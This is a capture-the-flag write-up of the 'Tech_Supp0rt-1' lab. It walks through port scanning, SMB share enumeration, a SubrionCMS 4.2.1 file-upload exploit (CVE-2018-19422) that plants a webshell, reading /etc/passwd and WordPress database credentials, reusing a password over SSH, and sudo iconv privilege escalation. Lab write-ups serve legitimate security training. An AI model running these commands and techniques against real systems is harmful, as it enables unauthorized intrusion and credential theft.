Tech_Supp0rt-1
Description
Hack into the scammer's under-development website to foil their plans.
Tasks:
- What is the
root.txt
flag?
Scanning¶
-
Assigned IP address: 10.10.166.73
-
Open Ports:
PORT |
SERVICE |
DESCRIPTION |
---|---|---|
22/TCP |
SSH |
OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 |
80/TCP |
HTTP |
Apache httpd 2.4.18 |
139/TCP |
NETBIOS-SSN |
Samba smbd 3.X - 4.X |
445/TCP |
NETBIOS-SSN |
Samba smbd 4.3.11-Ubuntu |
- Nmap Report:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
# Nmap 7.93 scan initiated Fri Feb 24 22:02:22 2023 as: nmap -sC -sV -O -oN nmap.txt 10.10.166.73 Nmap scan report for 10.10.166.73 Host is up (0.16s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 108af572d7f97e14a5c54f9e978b3d58 (RSA) | 256 7f10f557413c71dbb55bdb75c976305c (ECDSA) |_ 256 6b4c23506f36007ca67c1173c1a8600c (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=2/24%OT=22%CT=1%CU=39978%PV=Y%DS=5%DC=I%G=Y%TM=63F97A6 OS:1%P=aarch64-unknown-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS OS:=8)OPS(O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M OS:505ST11NW7%O6=M505ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68 OS:DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A= OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T OS:=40%CD=S) Network Distance: 5 hops Service Info: Host: TECHSUPPORT; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -1h50m00s, deviation: 3h10m31s, median: 0s | smb2-security-mode: | 311: |_ Message signing enabled but not required | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: techsupport | NetBIOS computer name: TECHSUPPORT\x00 | Domain name: \x00 | FQDN: techsupport |_ System time: 2023-02-25T08:32:50+05:30 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2023-02-25T03:02:52 |_ start_date: N/A OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Feb 24 22:02:57 2023 -- 1 IP address (1 host up) scanned in 35.58 seconds
Enumeration¶
At first, I accessed to the HTTP port on port 80, which led me to a default Apache webpage.
Then, I ran dirsearch to perform enumeration of the webserver's hidden directories, which yielded the following results.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
|
Among the directories, the /test and /wordpress folders appeared to hold potential. Therefore, I explored both directories, one of which contained a suspicious-looking phishing page
while the other hosted the /wordpress theme featuring Teczilla.
I enumerated even further with /test folder to find sub-folders. but wasn't lucky. So, I shifted my attention to the SMB protocols and ran smbclient tool to carry out enumeration. I encountered a READ_ONLY drive named websvr
.
SMB Enumeration
smbclient -L //10.10.166.73
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
websvr Disk
IPC$ IPC IPC Service (TechSupport server (Samba, Ubuntu))
To access the share, I used the following command:
Upon accessing the share, I got a text file that contained a hint regarding a hidden CMS folder located on the web server.
1 2 3 4 5 6 7 8 9 10 11 12 |
|
While navigating to this directory, the page took an exceedingly long time to reload, causing me to lose hope. I decided to intercept the process and investigate what was occurring. To my surprise, the page redirected to a different location. When returning to the hint text file, I noticed that I have to visit /subrion/panel section.
Initial Access¶
Now, I successfully located the CMS website. After determining the version number to be 4.2.1 , I followed best practices by checking the database portal of searchsploit for any potential payloads and exploits.
I identified a possible RCE attack. Executing the following command led to my initial foothold on the webserver as www-data
(a low-hanging fruit).
Arbitary File Upload
python3 49876.py -u http://10.10.166.73/subrion/panel/ -l admin -p [REDACTED]
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422
[+] Trying to connect to: http://10.10.166.73/subrion/panel/
[+] Success!
[+] Got CSRF token: LMx7pGnP4TA2tH67fVLEDShClIsmLu4rhKBjbIKY
[+] Trying to log in...
[+] Login Successful!
[+] Generating random name for Webshell...
[+] Generated webshell name: cosqtjuuaaeiyms
[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: http://10.10.166.73/subrion/panel/uploads/cosqtjuuaaeiyms.phar
Password Crack
Note: You need to crack the password of admin using the magic function in CyberChef
Privilege Escalation¶
Gaining user access¶
To elevate my access privileges, I attempted to establish a reverse shell from this point using the nc command. Unfortunately, my efforts didn't work well, and I was looking other alternatives.
At this point, I decided to enumerate the server's users further. I ran /etc/passwd
and discovered the usernames.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
|
My attention then shifted to the wordpress directory, where I hoped to find some juicy information. To my delight, I found the database configuration file for Wordpress in the webserver folder.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
|
Pentesting Practice
Typically, when you obtain some credentials, it's recommended to attempt to reuse them across all accessible services.
By utilizing the obtained password for mysql, I reused to ssh on the scam-site
user, and I was able to elevate my privileges.
Gaining root access¶
From this point, the process became straightforward. I executed linpeas.sh to determine the current user's administrative powers. This was one of the following results:
I then visited gtfobins to determine if any relevant entries existed. Once I identified the iconv
, I executed the sudo command to gain root access.